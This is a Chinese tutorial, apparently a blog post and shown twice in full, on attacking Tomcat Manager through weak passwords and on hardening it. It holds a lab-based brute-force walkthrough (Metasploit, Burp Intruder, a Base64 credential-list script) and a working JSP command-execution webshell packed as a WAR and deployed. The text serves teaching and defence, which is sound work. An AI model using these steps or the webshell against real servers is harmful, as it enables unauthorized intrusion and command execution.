1. 项目概述一次典型的内部安全演练最近在帮一个朋友的公司做内部安全评估他们有几台对外提供服务的Tomcat服务器虽然业务跑得挺稳但安全配置这块一直没怎么上心。我第一反应就是去测一下Tomcat Manager的入口结果不出所料还真让我给“撞”上了。这其实是一个非常经典且高风险的场景Tomcat Manager作为Web应用的管理后台如果配置不当尤其是使用了弱密码就相当于把服务器的后门钥匙放在了玻璃柜里任何人都可以尝试去“拧”一下。这次实战我会从一个渗透测试工程师的视角完整复盘从发现Tomcat Manager入口到利用弱密码爆破进入后台再到最终获取服务器权限Getshell的全过程。更重要的是我会详细拆解每一步背后的原理、用到的工具、可能遇到的坑以及最关键的部分——如何从防御者的角度彻底堵上这些安全漏洞。无论你是运维、开发还是安全爱好者了解这个过程都能帮你更好地保护自己的资产。2. 核心原理与风险认知为什么Tomcat Manager是“兵家必争之地”在深入实操之前我们必须先搞清楚两个核心问题Tomcat Manager是什么以及它为什么如此危险。2.1 Tomcat Manager的角色与权限Tomcat Manager不是一个默认开启的“漏洞”而是一个官方提供的、功能强大的管理应用程序。它的主要作用是通过Web界面或HTTP接口让管理员能够远程管理部署在Tomcat服务器上的Web应用。你可以把它想象成一个带图形界面的“应用商店后台”管理员在这里可以执行以下关键操作部署/卸载应用上传一个WAR包Tomcat会自动将其解压并部署为一个可访问的Web应用。启动/停止/重新加载应用无需重启整个Tomcat服务。诊断查看服务器状态、JVM内存使用情况、活动会话等。问题就出在这些权限上。manager-gui角色允许访问Web管理界面manager-script角色允许通过HTTP API如/manager/text/deploy?path/xxx进行部署这通常被自动化脚本使用。如果一个攻击者获得了这些权限他就能直接上传一个包含恶意代码的WAR包比如一个Webshell从而在服务器上建立一个持久化的后门。2.2 弱密码风险的根源配置文件的“疏忽”Tomcat的用户、角色和密码信息存储在$CATALINA_HOME/conf/tomcat-users.xml这个配置文件里。一个危险的、也是很多教程里作为“示例”的配置长这样?xml version1.0 encodingUTF-8? tomcat-users role rolenamemanager-gui/ role rolenamemanager-script/ user usernametomcat passwordtomcat rolesmanager-gui,manager-script/ /tomcat-users这短短几行代码就埋下了巨大的安全隐患默认用户/密码使用了tomcat:tomcat、admin:admin、root:root等极其常见的弱口令组合。权限过度分配给一个用户同时分配了manager-gui和manager-script角色这意味着既可以通过界面操作也能通过脚本自动化攻击。网络访问限制缺失高版本的Tomcat如8.5默认将Manager应用限制为仅本地主机localhost或127.0.0.1访问。但很多管理员为了图方便或者因为不了解会注释掉或修改$CATALINA_HOME/webapps/manager/META-INF/context.xml中的Valve配置将其暴露在公网。注意在实际渗透测试中遇到使用这种“教科书式”弱密码的情况比想象中要多尤其是在测试环境、老旧系统或运维人员安全意识薄弱的场景中。3. 环境搭建与信息收集磨刀不误砍柴工在开始“攻击”之前我们需要一个安全、合法的测试环境。我强烈建议任何人学习安全技术都在隔离的虚拟机或Docker环境中进行。3.1 快速搭建漏洞测试环境为了高度还原真实场景我选择使用Vulhub这个开源漏洞靶场项目。它基于Docker Compose能一键搭建各种漏洞环境包括我们需要的Tomcat弱口令环境。操作步骤准备基础环境确保你的测试机如Kali Linux或一台安装了Docker的Linux虚拟机已经安装了Docker和Docker Compose。获取Vulhubgit clone https://github.com/vulhub/vulhub.git cd vulhub/tomcat/tomcat8启动环境docker-compose up -d这条命令会拉取Tomcat 8.0.43的镜像并按照预设的漏洞配置启动容器。这个预设配置就包含了我们之前提到的那个危险的tomcat-users.xml。验证环境用浏览器访问http://your-test-ip:8080。你应该能看到Apache Tomcat的默认首页。点击页面上的“Manager App”按钮会跳转到http://your-test-ip:8080/manager/html并弹出HTTP Basic认证对话框。这说明Manager应用已开启并暴露在网络中。3.2 手动信息收集与确认在自动化工具上场前手动侦察能帮助我们更准确地理解目标。确认Manager路径除了常见的/manager/html有时Manager应用可能被部署在其他上下文路径下。可以使用目录扫描工具如gobuster或dirsearch进行探测dirsearch -u http://your-test-ip:8080 -e * -x 403,404查找包含manager的路径。识别认证方式Tomcat Manager通常使用HTTP Basic认证。在浏览器弹出的登录框或者用curl命令测试时返回的401 Unauthorized响应头中的WWW-Authenticate: Basic realmTomcat Manager Application字段都能确认这一点。这很重要因为它决定了我们爆破工具需要构造的请求格式。观察错误信息故意输入错误的密码观察返回的错误信息。有些配置不当的页面可能会返回更详细的错误如“用户名无效”或“密码错误”这可以帮助我们进行用户名枚举虽然Tomcat Manager通常不会。4. 密码爆破实战工具的选择与精细化操作信息收集完毕确认存在Tomcat Manager且需要认证后就进入了核心环节——密码爆破。这里我介绍两种最主流的方法使用Metasploit框架和使用Burp Suite Intruder。4.1 方法一使用Metasploit进行自动化爆破Metasploit的tomcat_mgr_login模块是专门为此场景设计的自动化程度高适合快速测试。详细操作流程启动Metasploit控制台msfconsole搜索并加载模块msf6 search tomcat_mgr_login msf6 use auxiliary/scanner/http/tomcat_mgr_login查看并设置必要参数msf6 auxiliary(scanner/http/tomcat_mgr_login) show optionsRHOSTS: 设置目标IP地址。set RHOSTS 192.168.1.100RPORT: Tomcat端口默认为8080。set RPORT 8080TARGETURI: Manager的路径默认为/manager/html。如果目标路径不同需要修改。set TARGETURI /custommanager/htmlSTOP_ON_SUCCESS: 找到一个有效凭证后是否停止建议设为true。set STOP_ON_SUCCESS trueUSERNAME/USER_FILE和PASSWORD/PASS_FILE: 指定用户名和密码字典。模块有内置的弱口令字典但我们可以指定自己的。使用自定义字典进行爆破 假设我们有一个用户名字典users.txt内容如admin, tomcat, manager, root和一个密码字典passwords.txt内容如tomcat, admin, 123456, password, tomcat123。msf6 auxiliary(scanner/http/tomcat_mgr_login) set USER_FILE /path/to/users.txt msf6 auxiliary(scanner/http/tomcat_mgr_login) set PASS_FILE /path/to/passwords.txt执行攻击msf6 auxiliary(scanner/http/tomcat_mgr_login) run如果成功你会在输出中看到类似[] 192.168.1.100:8080 - Login Successful: tomcat:tomcat的提示。实操心得Metasploit模块虽然方便但它的爆破速度相对较慢且对复杂网络环境如需要代理、特殊SSL配置的支持调整起来比较麻烦。它更适合在内部网络或速度要求不高的初步探测中使用。4.2 方法二使用Burp Suite Intruder进行手动精准爆破Burp Suite的Intruder模块功能极其强大允许我们高度定制化攻击载荷和攻击模式是专业渗透测试的首选。详细操作流程拦截登录请求在浏览器中配置代理指向Burp Suite默认127.0.0.1:8080。访问http://target-ip:8080/manager/html在弹出认证框时随意输入一个用户名和密码比如test:test然后点击登录。此时Burp Suite的Proxy - Intercept标签页会拦截到这个HTTP请求。将其发送到Intruder模块快捷键CtrlI。分析请求与设置载荷位置 拦截到的请求关键部分如下GET /manager/html HTTP/1.1 Host: target-ip:8080 Authorization: Basic dGVzdDp0ZXN0 ...其中Authorization: Basic dGVzdDp0ZXN0是核心。dGVzdDp0ZXN0是test:test经过Base64编码后的字符串。格式是Base64(“username:password”)。在Intruder的Positions标签页清除所有自动标记然后手动选中dGVzdDp0ZXN0这部分点击Add §。我们将在两个位置进行爆破用户名和密码。但这里需要一点技巧。配置攻击载荷关键步骤切换到Payloads标签页。因为我们需要对username:password这个整体字符串进行Base64编码后替换所以选择Payload Processing载荷处理功能。设置方法在Payload Options添加你的用户名字典和密码字典。但更高效的方式是使用Cluster bomb攻击类型并分别设置用户名和密码载荷集然后通过Payload Processing来拼接和编码。更实用的简化方法我通常采用一个更直接的“预计算”方法。先用Python脚本生成一个组合字典import base64 users [tomcat, admin, manager] passwords [tomcat, admin, 123456, password, tomcat123] with open(auth_strings.txt, w) as f: for u in users: for p in passwords: auth_str base64.b64encode(f{u}:{p}.encode()).decode() f.write(auth_str \n)生成一个包含所有可能Base64(username:password)的auth_strings.txt文件。在Intruder中设置Attack type为Sniper载荷位置就是整个Base64字符串。在Payloads标签页Payload type选择Simple list然后加载刚才生成的auth_strings.txt文件。执行攻击与结果分析点击Start attackIntruder会开始用我们生成的每一个Base64字符串替换请求头中的对应部分并发起请求。攻击完成后我们需要根据响应长度Length、状态码Status来筛选结果。通常认证失败的请求会返回401 Unauthorized且响应体较小。而认证成功的请求会返回200 OK和Manager的HTML页面响应长度会显著大于其他请求。在结果列表中按Length从大到小排序最长的那个很可能就是成功的请求。查看其载荷Payload就是我们之前生成的Base64字符串。将其解码即可得到明文用户名和密码。避坑技巧Burp Intruder爆破时如果目标服务器有访问频率限制或IP封锁机制需要在Options标签页调整Request Throttle请求间隔比如设置为每次请求间隔500毫秒避免触发防护。此外注意观察返回包中是否有Set-Cookie字段成功的登录可能会设置会话Cookie后续操作需要携带这个Cookie。5. 漏洞利用从后台到Getshell成功进入Tomcat Manager后台http://target-ip:8080/manager/html只是第一步我们的目标是获取服务器的控制权。5.1 制作Webshell WAR包Tomcat Manager允许上传WARWeb Application Archive文件进行部署。我们可以将一个JSP Webshell打包进WAR。编写一个简单的JSP Webshell 创建一个名为shell.jsp的文件内容如下。这是一个极简的、用于执行命令的Webshell。% page importjava.util.*,java.io.*% % String cmd request.getParameter(cmd); if (cmd ! null) { Process p Runtime.getRuntime().exec(cmd); OutputStream os p.getOutputStream(); InputStream in p.getInputStream(); DataInputStream dis new DataInputStream(in); String disr dis.readLine(); while ( disr ! null ) { out.println(disr); disr dis.readLine(); } } %警告此代码仅用于安全教学和授权测试。在实际环境中攻击者会使用更隐蔽、功能更强大的Webshell如冰蝎Behinder、哥斯拉Godzilla的JSP版本它们具有加密通信、内存马等高级特性。将JSP文件打包成WAR 在命令行中使用JDK自带的jar命令确保已安装Javajar -cvf shell.war shell.jsp这条命令会创建一个名为shell.war的文件其内部结构等同于一个Web应用shell.jsp位于根目录。5.2 通过Manager后台部署Webshell登录Tomcat Manager后台。找到“WAR file to deploy”部分。点击“浏览”按钮选择刚才生成的shell.war文件。点击“Deploy”按钮。 如果部署成功你会在应用列表Applications中看到一个新的路径为/shell的应用并且状态是“Running”。5.3 连接Webshell并执行命令访问你的Webshellhttp://target-ip:8080/shell/shell.jsp。页面可能空白这是正常的。通过URL参数传递命令http://target-ip:8080/shell/shell.jsp?cmdwhoami。 如果页面返回了当前Tomcat进程的运行用户通常是tomcat或一个低权限系统用户说明Webshell已成功执行系统命令。至此我们已经完成了从外部探测到获取服务器命令执行权限的完整路径。攻击者接下来可能会尝试提权、内网渗透、种植持久化后门等操作。6. 防御加固方案从根源上消除风险作为防御方我们的目标不是“防住某一次爆破”而是从根本上消除此类风险。以下是分层递进的加固方案。6.1 基础加固必须做修改或删除默认用户立即检查conf/tomcat-users.xml文件。强烈建议删除或注释掉所有示例用户特别是使用弱密码的用户。如果确实需要远程管理创建新的、复杂的用户名和密码。user usernameUniqueAdminName passwordStrongPassword!#2024 rolesmanager-gui/密码长度至少12位包含大小写字母、数字和特殊字符。遵循最小权限原则不要给一个用户分配所有manager-*和admin-*角色。根据实际需要分配。例如如果只需要通过Web界面管理只分配manager-gui。如果只需要通过CI/CD脚本自动部署只分配manager-script。限制Manager应用的网络访问这是最重要的一步编辑webapps/manager/META-INF/context.xml文件。找到Valve classNameorg.apache.catalina.valves.RemoteAddrValve ... /配置。确保其allow属性仅允许受信任的IP或IP段访问例如仅限运维跳板机IP。Context antiResourceLockingfalse privilegedtrue Valve classNameorg.apache.catalina.valves.RemoteAddrValve allow192.168.1.100, 10.0.0.0/24 / !-- 仅允许指定IP和网段 -- Manager sessionAttributeValueClassNameFilterjava\.lang\.(?:Boolean|Integer|Long|Number|String)|org\.apache\.catalina\.filters\.CsrfPreventionFilter\$LruCache(?:\$1)?|java\.util\.(?:Linked)?HashMap/ /Context对于生产环境最佳实践是完全禁止从公网访问Manager。只允许通过本地主机127.0.0.1或::1访问管理操作通过SSH隧道到服务器本地进行。allow127\.\d\.\d\.\d|::1|0:0:0:0:0:0:0:16.2 进阶安全配置启用HTTPS为Tomcat配置SSL/TLS证书强制所有管理通信使用HTTPS防止密码在传输过程中被嗅探。修改Manager的访问路径将Manager应用从默认的/manager部署到不易猜测的路径例如/my-secure-admin-path-12345。这能增加攻击者的探测难度。使用防火墙策略在服务器或网络边界防火墙上严格限制对Tomcat管理端口默认8080、8009等的访问只对特定的管理IP开放。定期审计与更新定期审查tomcat-users.xml文件清理不必要的账户。保持Tomcat版本更新及时修复已知安全漏洞。使用安全扫描工具定期对自身服务进行漏洞扫描。6.3 架构层面建议分离部署与运行环境不要在生产服务器上直接使用Tomcat Manager进行部署。应该通过CI/CD流水线在构建服务器上生成WAR包然后通过安全的通道如SCP、Ansible传输到生产服务器指定目录由Tomcat自动热部署或通过脚本控制重启。使用专用管理工具考虑使用更专业、安全性更高的中间件管理平台或容器编排平台如Kubernetes来管理Tomcat实例摒弃原始的Web界面管理方式。7. 常见问题与排查技巧实录在实际操作和防御配置中你可能会遇到以下问题Q1: 爆破时所有请求都返回401但响应长度有细微差别这是怎么回事A1: 这可能是因为目标服务器对存在的用户和不存在的用户返回了略有不同的错误信息虽然Tomcat默认不这样。你可以尝试先进行用户名枚举。用Burp Intruder固定一个错误密码遍历用户名字典观察哪些用户的响应长度或内容与其他不同先找出有效用户名再针对这个用户名爆破密码能极大提高效率。Q2: 我按照教程配置了RemoteAddrValve但本地也无法访问Manager了A2: 检查allow属性的值。127.0.0.1和localhost有时在IPv6或某些网络配置下解析不同。最稳妥的配置是同时允许IPv4和IPv6的环回地址allow127\.\d\.\d\.\d|::1|0:0:0:0:0:0:0:1。注意正则表达式中的点号需要转义。Q3: 上传WAR包时提示“FAIL - 应用程序上下文[/xxx]已存在”或“FAIL - 上传的文件为空”A3: 前者说明该路径的应用已部署需要先在Manager界面上Undeploy卸载旧应用。后者检查WAR文件是否成功生成文件大小是否正常以及网络传输是否完整。Q4: Webshell上传成功但访问时返回404或500错误A4:404检查访问的URL路径是否正确。部署的应用名Context Path就是WAR包的文件名不含.war后缀。如果上传的WAR包叫shell.war访问路径应为/shell/shell.jsp。500可能是JSP语法错误或者目标Tomcat环境JDK版本、依赖库与你的测试环境不同。尝试使用兼容性更好的通用Webshell代码或者检查Tomcat的catalina.out日志文件里面通常有详细的错误堆栈信息。Q5: 作为防御方除了改密码和限制IP还有什么实时检测手段A5: 有的可以部署Web应用防火墙WAF或使用带有威胁检测功能的负载均衡器。它们可以识别针对/manager/html路径的暴力破解行为短时间内大量401状态码请求并进行IP封禁或请求挑战。同时确保Tomcat的访问日志localhost_access_log.*.txt是开启的并定期分析日志中是否存在大量的认证失败记录。
Tomcat Manager弱口令渗透实战:从爆破到Getshell的完整攻防解析
发布时间:2026/7/8 16:33:13
1. 项目概述一次典型的内部安全演练最近在帮一个朋友的公司做内部安全评估他们有几台对外提供服务的Tomcat服务器虽然业务跑得挺稳但安全配置这块一直没怎么上心。我第一反应就是去测一下Tomcat Manager的入口结果不出所料还真让我给“撞”上了。这其实是一个非常经典且高风险的场景Tomcat Manager作为Web应用的管理后台如果配置不当尤其是使用了弱密码就相当于把服务器的后门钥匙放在了玻璃柜里任何人都可以尝试去“拧”一下。这次实战我会从一个渗透测试工程师的视角完整复盘从发现Tomcat Manager入口到利用弱密码爆破进入后台再到最终获取服务器权限Getshell的全过程。更重要的是我会详细拆解每一步背后的原理、用到的工具、可能遇到的坑以及最关键的部分——如何从防御者的角度彻底堵上这些安全漏洞。无论你是运维、开发还是安全爱好者了解这个过程都能帮你更好地保护自己的资产。2. 核心原理与风险认知为什么Tomcat Manager是“兵家必争之地”在深入实操之前我们必须先搞清楚两个核心问题Tomcat Manager是什么以及它为什么如此危险。2.1 Tomcat Manager的角色与权限Tomcat Manager不是一个默认开启的“漏洞”而是一个官方提供的、功能强大的管理应用程序。它的主要作用是通过Web界面或HTTP接口让管理员能够远程管理部署在Tomcat服务器上的Web应用。你可以把它想象成一个带图形界面的“应用商店后台”管理员在这里可以执行以下关键操作部署/卸载应用上传一个WAR包Tomcat会自动将其解压并部署为一个可访问的Web应用。启动/停止/重新加载应用无需重启整个Tomcat服务。诊断查看服务器状态、JVM内存使用情况、活动会话等。问题就出在这些权限上。manager-gui角色允许访问Web管理界面manager-script角色允许通过HTTP API如/manager/text/deploy?path/xxx进行部署这通常被自动化脚本使用。如果一个攻击者获得了这些权限他就能直接上传一个包含恶意代码的WAR包比如一个Webshell从而在服务器上建立一个持久化的后门。2.2 弱密码风险的根源配置文件的“疏忽”Tomcat的用户、角色和密码信息存储在$CATALINA_HOME/conf/tomcat-users.xml这个配置文件里。一个危险的、也是很多教程里作为“示例”的配置长这样?xml version1.0 encodingUTF-8? tomcat-users role rolenamemanager-gui/ role rolenamemanager-script/ user usernametomcat passwordtomcat rolesmanager-gui,manager-script/ /tomcat-users这短短几行代码就埋下了巨大的安全隐患默认用户/密码使用了tomcat:tomcat、admin:admin、root:root等极其常见的弱口令组合。权限过度分配给一个用户同时分配了manager-gui和manager-script角色这意味着既可以通过界面操作也能通过脚本自动化攻击。网络访问限制缺失高版本的Tomcat如8.5默认将Manager应用限制为仅本地主机localhost或127.0.0.1访问。但很多管理员为了图方便或者因为不了解会注释掉或修改$CATALINA_HOME/webapps/manager/META-INF/context.xml中的Valve配置将其暴露在公网。注意在实际渗透测试中遇到使用这种“教科书式”弱密码的情况比想象中要多尤其是在测试环境、老旧系统或运维人员安全意识薄弱的场景中。3. 环境搭建与信息收集磨刀不误砍柴工在开始“攻击”之前我们需要一个安全、合法的测试环境。我强烈建议任何人学习安全技术都在隔离的虚拟机或Docker环境中进行。3.1 快速搭建漏洞测试环境为了高度还原真实场景我选择使用Vulhub这个开源漏洞靶场项目。它基于Docker Compose能一键搭建各种漏洞环境包括我们需要的Tomcat弱口令环境。操作步骤准备基础环境确保你的测试机如Kali Linux或一台安装了Docker的Linux虚拟机已经安装了Docker和Docker Compose。获取Vulhubgit clone https://github.com/vulhub/vulhub.git cd vulhub/tomcat/tomcat8启动环境docker-compose up -d这条命令会拉取Tomcat 8.0.43的镜像并按照预设的漏洞配置启动容器。这个预设配置就包含了我们之前提到的那个危险的tomcat-users.xml。验证环境用浏览器访问http://your-test-ip:8080。你应该能看到Apache Tomcat的默认首页。点击页面上的“Manager App”按钮会跳转到http://your-test-ip:8080/manager/html并弹出HTTP Basic认证对话框。这说明Manager应用已开启并暴露在网络中。3.2 手动信息收集与确认在自动化工具上场前手动侦察能帮助我们更准确地理解目标。确认Manager路径除了常见的/manager/html有时Manager应用可能被部署在其他上下文路径下。可以使用目录扫描工具如gobuster或dirsearch进行探测dirsearch -u http://your-test-ip:8080 -e * -x 403,404查找包含manager的路径。识别认证方式Tomcat Manager通常使用HTTP Basic认证。在浏览器弹出的登录框或者用curl命令测试时返回的401 Unauthorized响应头中的WWW-Authenticate: Basic realmTomcat Manager Application字段都能确认这一点。这很重要因为它决定了我们爆破工具需要构造的请求格式。观察错误信息故意输入错误的密码观察返回的错误信息。有些配置不当的页面可能会返回更详细的错误如“用户名无效”或“密码错误”这可以帮助我们进行用户名枚举虽然Tomcat Manager通常不会。4. 密码爆破实战工具的选择与精细化操作信息收集完毕确认存在Tomcat Manager且需要认证后就进入了核心环节——密码爆破。这里我介绍两种最主流的方法使用Metasploit框架和使用Burp Suite Intruder。4.1 方法一使用Metasploit进行自动化爆破Metasploit的tomcat_mgr_login模块是专门为此场景设计的自动化程度高适合快速测试。详细操作流程启动Metasploit控制台msfconsole搜索并加载模块msf6 search tomcat_mgr_login msf6 use auxiliary/scanner/http/tomcat_mgr_login查看并设置必要参数msf6 auxiliary(scanner/http/tomcat_mgr_login) show optionsRHOSTS: 设置目标IP地址。set RHOSTS 192.168.1.100RPORT: Tomcat端口默认为8080。set RPORT 8080TARGETURI: Manager的路径默认为/manager/html。如果目标路径不同需要修改。set TARGETURI /custommanager/htmlSTOP_ON_SUCCESS: 找到一个有效凭证后是否停止建议设为true。set STOP_ON_SUCCESS trueUSERNAME/USER_FILE和PASSWORD/PASS_FILE: 指定用户名和密码字典。模块有内置的弱口令字典但我们可以指定自己的。使用自定义字典进行爆破 假设我们有一个用户名字典users.txt内容如admin, tomcat, manager, root和一个密码字典passwords.txt内容如tomcat, admin, 123456, password, tomcat123。msf6 auxiliary(scanner/http/tomcat_mgr_login) set USER_FILE /path/to/users.txt msf6 auxiliary(scanner/http/tomcat_mgr_login) set PASS_FILE /path/to/passwords.txt执行攻击msf6 auxiliary(scanner/http/tomcat_mgr_login) run如果成功你会在输出中看到类似[] 192.168.1.100:8080 - Login Successful: tomcat:tomcat的提示。实操心得Metasploit模块虽然方便但它的爆破速度相对较慢且对复杂网络环境如需要代理、特殊SSL配置的支持调整起来比较麻烦。它更适合在内部网络或速度要求不高的初步探测中使用。4.2 方法二使用Burp Suite Intruder进行手动精准爆破Burp Suite的Intruder模块功能极其强大允许我们高度定制化攻击载荷和攻击模式是专业渗透测试的首选。详细操作流程拦截登录请求在浏览器中配置代理指向Burp Suite默认127.0.0.1:8080。访问http://target-ip:8080/manager/html在弹出认证框时随意输入一个用户名和密码比如test:test然后点击登录。此时Burp Suite的Proxy - Intercept标签页会拦截到这个HTTP请求。将其发送到Intruder模块快捷键CtrlI。分析请求与设置载荷位置 拦截到的请求关键部分如下GET /manager/html HTTP/1.1 Host: target-ip:8080 Authorization: Basic dGVzdDp0ZXN0 ...其中Authorization: Basic dGVzdDp0ZXN0是核心。dGVzdDp0ZXN0是test:test经过Base64编码后的字符串。格式是Base64(“username:password”)。在Intruder的Positions标签页清除所有自动标记然后手动选中dGVzdDp0ZXN0这部分点击Add §。我们将在两个位置进行爆破用户名和密码。但这里需要一点技巧。配置攻击载荷关键步骤切换到Payloads标签页。因为我们需要对username:password这个整体字符串进行Base64编码后替换所以选择Payload Processing载荷处理功能。设置方法在Payload Options添加你的用户名字典和密码字典。但更高效的方式是使用Cluster bomb攻击类型并分别设置用户名和密码载荷集然后通过Payload Processing来拼接和编码。更实用的简化方法我通常采用一个更直接的“预计算”方法。先用Python脚本生成一个组合字典import base64 users [tomcat, admin, manager] passwords [tomcat, admin, 123456, password, tomcat123] with open(auth_strings.txt, w) as f: for u in users: for p in passwords: auth_str base64.b64encode(f{u}:{p}.encode()).decode() f.write(auth_str \n)生成一个包含所有可能Base64(username:password)的auth_strings.txt文件。在Intruder中设置Attack type为Sniper载荷位置就是整个Base64字符串。在Payloads标签页Payload type选择Simple list然后加载刚才生成的auth_strings.txt文件。执行攻击与结果分析点击Start attackIntruder会开始用我们生成的每一个Base64字符串替换请求头中的对应部分并发起请求。攻击完成后我们需要根据响应长度Length、状态码Status来筛选结果。通常认证失败的请求会返回401 Unauthorized且响应体较小。而认证成功的请求会返回200 OK和Manager的HTML页面响应长度会显著大于其他请求。在结果列表中按Length从大到小排序最长的那个很可能就是成功的请求。查看其载荷Payload就是我们之前生成的Base64字符串。将其解码即可得到明文用户名和密码。避坑技巧Burp Intruder爆破时如果目标服务器有访问频率限制或IP封锁机制需要在Options标签页调整Request Throttle请求间隔比如设置为每次请求间隔500毫秒避免触发防护。此外注意观察返回包中是否有Set-Cookie字段成功的登录可能会设置会话Cookie后续操作需要携带这个Cookie。5. 漏洞利用从后台到Getshell成功进入Tomcat Manager后台http://target-ip:8080/manager/html只是第一步我们的目标是获取服务器的控制权。5.1 制作Webshell WAR包Tomcat Manager允许上传WARWeb Application Archive文件进行部署。我们可以将一个JSP Webshell打包进WAR。编写一个简单的JSP Webshell 创建一个名为shell.jsp的文件内容如下。这是一个极简的、用于执行命令的Webshell。% page importjava.util.*,java.io.*% % String cmd request.getParameter(cmd); if (cmd ! null) { Process p Runtime.getRuntime().exec(cmd); OutputStream os p.getOutputStream(); InputStream in p.getInputStream(); DataInputStream dis new DataInputStream(in); String disr dis.readLine(); while ( disr ! null ) { out.println(disr); disr dis.readLine(); } } %警告此代码仅用于安全教学和授权测试。在实际环境中攻击者会使用更隐蔽、功能更强大的Webshell如冰蝎Behinder、哥斯拉Godzilla的JSP版本它们具有加密通信、内存马等高级特性。将JSP文件打包成WAR 在命令行中使用JDK自带的jar命令确保已安装Javajar -cvf shell.war shell.jsp这条命令会创建一个名为shell.war的文件其内部结构等同于一个Web应用shell.jsp位于根目录。5.2 通过Manager后台部署Webshell登录Tomcat Manager后台。找到“WAR file to deploy”部分。点击“浏览”按钮选择刚才生成的shell.war文件。点击“Deploy”按钮。 如果部署成功你会在应用列表Applications中看到一个新的路径为/shell的应用并且状态是“Running”。5.3 连接Webshell并执行命令访问你的Webshellhttp://target-ip:8080/shell/shell.jsp。页面可能空白这是正常的。通过URL参数传递命令http://target-ip:8080/shell/shell.jsp?cmdwhoami。 如果页面返回了当前Tomcat进程的运行用户通常是tomcat或一个低权限系统用户说明Webshell已成功执行系统命令。至此我们已经完成了从外部探测到获取服务器命令执行权限的完整路径。攻击者接下来可能会尝试提权、内网渗透、种植持久化后门等操作。6. 防御加固方案从根源上消除风险作为防御方我们的目标不是“防住某一次爆破”而是从根本上消除此类风险。以下是分层递进的加固方案。6.1 基础加固必须做修改或删除默认用户立即检查conf/tomcat-users.xml文件。强烈建议删除或注释掉所有示例用户特别是使用弱密码的用户。如果确实需要远程管理创建新的、复杂的用户名和密码。user usernameUniqueAdminName passwordStrongPassword!#2024 rolesmanager-gui/密码长度至少12位包含大小写字母、数字和特殊字符。遵循最小权限原则不要给一个用户分配所有manager-*和admin-*角色。根据实际需要分配。例如如果只需要通过Web界面管理只分配manager-gui。如果只需要通过CI/CD脚本自动部署只分配manager-script。限制Manager应用的网络访问这是最重要的一步编辑webapps/manager/META-INF/context.xml文件。找到Valve classNameorg.apache.catalina.valves.RemoteAddrValve ... /配置。确保其allow属性仅允许受信任的IP或IP段访问例如仅限运维跳板机IP。Context antiResourceLockingfalse privilegedtrue Valve classNameorg.apache.catalina.valves.RemoteAddrValve allow192.168.1.100, 10.0.0.0/24 / !-- 仅允许指定IP和网段 -- Manager sessionAttributeValueClassNameFilterjava\.lang\.(?:Boolean|Integer|Long|Number|String)|org\.apache\.catalina\.filters\.CsrfPreventionFilter\$LruCache(?:\$1)?|java\.util\.(?:Linked)?HashMap/ /Context对于生产环境最佳实践是完全禁止从公网访问Manager。只允许通过本地主机127.0.0.1或::1访问管理操作通过SSH隧道到服务器本地进行。allow127\.\d\.\d\.\d|::1|0:0:0:0:0:0:0:16.2 进阶安全配置启用HTTPS为Tomcat配置SSL/TLS证书强制所有管理通信使用HTTPS防止密码在传输过程中被嗅探。修改Manager的访问路径将Manager应用从默认的/manager部署到不易猜测的路径例如/my-secure-admin-path-12345。这能增加攻击者的探测难度。使用防火墙策略在服务器或网络边界防火墙上严格限制对Tomcat管理端口默认8080、8009等的访问只对特定的管理IP开放。定期审计与更新定期审查tomcat-users.xml文件清理不必要的账户。保持Tomcat版本更新及时修复已知安全漏洞。使用安全扫描工具定期对自身服务进行漏洞扫描。6.3 架构层面建议分离部署与运行环境不要在生产服务器上直接使用Tomcat Manager进行部署。应该通过CI/CD流水线在构建服务器上生成WAR包然后通过安全的通道如SCP、Ansible传输到生产服务器指定目录由Tomcat自动热部署或通过脚本控制重启。使用专用管理工具考虑使用更专业、安全性更高的中间件管理平台或容器编排平台如Kubernetes来管理Tomcat实例摒弃原始的Web界面管理方式。7. 常见问题与排查技巧实录在实际操作和防御配置中你可能会遇到以下问题Q1: 爆破时所有请求都返回401但响应长度有细微差别这是怎么回事A1: 这可能是因为目标服务器对存在的用户和不存在的用户返回了略有不同的错误信息虽然Tomcat默认不这样。你可以尝试先进行用户名枚举。用Burp Intruder固定一个错误密码遍历用户名字典观察哪些用户的响应长度或内容与其他不同先找出有效用户名再针对这个用户名爆破密码能极大提高效率。Q2: 我按照教程配置了RemoteAddrValve但本地也无法访问Manager了A2: 检查allow属性的值。127.0.0.1和localhost有时在IPv6或某些网络配置下解析不同。最稳妥的配置是同时允许IPv4和IPv6的环回地址allow127\.\d\.\d\.\d|::1|0:0:0:0:0:0:0:1。注意正则表达式中的点号需要转义。Q3: 上传WAR包时提示“FAIL - 应用程序上下文[/xxx]已存在”或“FAIL - 上传的文件为空”A3: 前者说明该路径的应用已部署需要先在Manager界面上Undeploy卸载旧应用。后者检查WAR文件是否成功生成文件大小是否正常以及网络传输是否完整。Q4: Webshell上传成功但访问时返回404或500错误A4:404检查访问的URL路径是否正确。部署的应用名Context Path就是WAR包的文件名不含.war后缀。如果上传的WAR包叫shell.war访问路径应为/shell/shell.jsp。500可能是JSP语法错误或者目标Tomcat环境JDK版本、依赖库与你的测试环境不同。尝试使用兼容性更好的通用Webshell代码或者检查Tomcat的catalina.out日志文件里面通常有详细的错误堆栈信息。Q5: 作为防御方除了改密码和限制IP还有什么实时检测手段A5: 有的可以部署Web应用防火墙WAF或使用带有威胁检测功能的负载均衡器。它们可以识别针对/manager/html路径的暴力破解行为短时间内大量401状态码请求并进行IP封禁或请求挑战。同时确保Tomcat的访问日志localhost_access_log.*.txt是开启的并定期分析日志中是否存在大量的认证失败记录。